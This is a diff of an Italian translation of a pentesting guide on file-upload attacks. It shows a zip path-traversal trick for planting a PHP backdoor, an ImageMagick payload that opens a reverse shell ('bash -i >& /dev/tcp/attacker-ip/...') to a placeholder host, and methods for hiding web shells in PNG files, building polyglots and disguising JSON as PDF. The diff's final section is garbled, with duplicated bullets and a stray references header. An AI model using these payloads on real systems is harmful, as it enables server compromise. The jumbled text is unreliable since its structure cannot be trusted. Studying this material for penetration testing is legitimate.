@ -305,50 +346,48 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
 root@s2crew:/tmp# zip cmd.zip xx*.php
 ```
-3.  **Modification with a Hex Editor or vi**: I nomi dei file all'interno dello zip vengono modificati usando vi o un hex editor, cambiando "xxA" in "../" per attraversare le directory.
+3.  **Modification with a Hex Editor or vi**: I nomi dei file all'interno dello zip vengono modificati usando vi o un hex editor, sostituendo "xxA" con "../" per attraversare le directory.
 ```bash
 :set modifiable
-:%s/xxA/..\//g
+:%s/xxA/../g
 :x!
 ```
 ## ImageTragic
-Carica questo contenuto con un'estensione immagine per sfruttare la vulnerabilità **(ImageMagick , 7.0.1-1)** (dal [exploit](https://www.exploit-db.com/exploits/39767))
+Carica questo contenuto con un'estensione immagine per sfruttare la vulnerabilità **(ImageMagick , 7.0.1-1)** (dall'[exploit](https://www.exploit-db.com/exploits/39767))
 ```
 push graphic-context
 viewbox 0 0 640 480
 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
 pop graphic-context
 ```
-## Incorporare PHP Shell in PNG
+## Incorporare PHP shell in PNG
-Incorporare una PHP shell nello chunk IDAT di un file PNG può eludere efficacemente alcune operazioni di elaborazione delle immagini. Le funzioni `imagecopyresized` e `imagecopyresampled` di PHP-GD sono particolarmente rilevanti in questo contesto, poiché vengono comunemente usate per ridimensionare e ricampionare le immagini, rispettivamente. La capacità della PHP shell incorporata di rimanere inalterata da queste operazioni è un vantaggio significativo per alcuni scenari d'uso.
+Incorporare una PHP shell nel chunk IDAT di un file PNG può bypassare efficacemente alcune operazioni di elaborazione delle immagini. Le funzioni `imagecopyresized` e `imagecopyresampled` di PHP-GD sono particolarmente rilevanti in questo contesto, essendo comunemente usate rispettivamente per il ridimensionamento e il rialcampionamento delle immagini. La capacità della PHP shell incorporata di rimanere non alterata da queste operazioni è un vantaggio significativo per alcuni casi d'uso.
-Una esplorazione dettagliata di questa tecnica, inclusa la metodologia e le possibili applicazioni, è fornita nel seguente articolo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Questa risorsa offre una comprensione completa del processo e delle sue implicazioni.
+Un'esplorazione dettagliata di questa tecnica, inclusa la metodologia e le possibili applicazioni, è fornita nel seguente articolo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Questa risorsa offre una comprensione completa del processo e delle sue implicazioni.
-More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
+Ulteriori informazioni in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
-## Polyglot Files
+## File poliglotta
-I polyglot files agiscono come uno strumento unico nella cybersecurity, comportandosi come camaleonti che possono esistere validamente in più formati di file contemporaneamente. Un esempio interessante è un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un ibrido che funziona sia come GIF sia come archivio RAR. Questi file non sono limitati a questa coppia; sono possibili anche combinazioni come GIF e JS o PPT e JS.
+I file poliglotta sono uno strumento unico nella sicurezza informatica, agendo come camaleonti che possono esistere validamente in più formati di file contemporaneamente. Un esempio interessante è un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un ibrido che funziona sia come GIF sia come archivio RAR. Questi file non sono limitati a questa combinazione; sono possibili anche accoppiamenti come GIF e JS o PPT e JS.
-L'utilità principale dei polyglot files risiede nella loro capacità di eludere misure di sicurezza che controllano i file in base al tipo. È pratica comune in diverse applicazioni permettere solo determinati tipi di file in upload—come JPEG, GIF o DOC—per mitigare il rischio rappresentato da formati potenzialmente pericolosi (es. JS, PHP o Phar). Tuttavia, un polyglot, conformandosi ai criteri strutturali di più tipi di file, può aggirare silenziosamente queste restrizioni.
+L'utilità principale dei file poliglotta risiede nella loro capacità di eludere misure di sicurezza che filtrano i file in base al tipo. La pratica comune in molte applicazioni prevede di permettere solo determinati tipi di file per l'upload—come JPEG, GIF o DOC—per mitigare il rischio rappresentato da formati potenzialmente pericolosi (ad es., JS, PHP o file Phar). Tuttavia, un poliglotta, conformandosi ai criteri strutturali di più tipi di file, può aggirare furtivamente queste restrizioni.
-Nonostante la loro adattabilità, i polyglot incontrano dei limiti. Per esempio, mentre un polyglot potrebbe incarnare simultaneamente un file PHAR e un JPEG, il successo dell'upload potrebbe dipendere dalle politiche sulle estensioni del sistema. Se la piattaforma è rigorosa riguardo le estensioni consentite, la semplice dualità strutturale di un polyglot potrebbe non essere sufficiente per garantirne l'upload.
+Nonostante la loro adattabilità, i poliglotta incontrano delle limitazioni. Per esempio, mentre un poliglotta potrebbe incarnare contemporaneamente un file PHAR (PHp ARchive) e un JPEG, il successo del suo upload potrebbe dipendere dalle politiche sulle estensioni dei file della piattaforma. Se il sistema è rigido riguardo alle estensioni consentite, la mera dualità strutturale di un poliglotta potrebbe non essere sufficiente a garantire l'upload.
-More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
+### Caricare JSON validi come se fossero PDF
-### Upload valid JSONs like if it was PDF
+Come evitare il rilevamento del tipo di file caricando un JSON valido anche se non consentito, fingendo che sia un PDF (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
-Come evitare il rilevamento del tipo di file caricando un file JSON valido anche se non consentito fingendo che sia un PDF (tecniche da **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
+- **`mmmagic` library**: Finché i magic bytes `%PDF` sono nei primi 1024 byte è considerato valido (vedi esempio nel post)
 - **`pdflib` library**: Aggiungi un finto formato PDF all'interno di un campo del JSON in modo che la libreria lo interpreti come un PDF (vedi esempio nel post)
 - **`file` binary**: Può leggere fino a 1048576 byte da un file. Basta creare un JSON più grande di quella soglia in modo che non possa parsare il contenuto come JSON e poi inserire all'interno del JSON la parte iniziale di un PDF reale e lo considererà un PDF
- **`mmmagic` library**: Finché i magic bytes `%PDF` sono presenti nei primi 1024 byte è considerato valido (vedi esempio nel post)
+## Riferimenti
 - **`pdflib` library**: Aggiungi un finto formato PDF all'interno di un campo del JSON in modo che la libreria lo interpreti come PDF (vedi esempio nel post)
 - **`file` binary**: Può leggere fino a 1048576 byte da un file. Crea un JSON più grande di tale soglia in modo che non possa analizzare il contenuto come JSON e poi, all'interno del JSON, inserisci la parte iniziale di un PDF reale e penserà che sia un PDF
 ## References
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
 - [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
@ -357,6 +396,9 @@ Come evitare il rilevamento del tipo di file caricando un file JSON valido anche
 - [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
 - [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
 - [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
 - [usd HeroLab – Gibbon LMS arbitrary file write (CVE-2023-45878)](https://herolab.usd.de/security-advisories/usd-2023-0025/)
 - [NVD – CVE-2023-45878](https://nvd.nist.gov/vuln/detail/CVE-2023-45878)
 - [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
 - [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
 - [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
 - [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)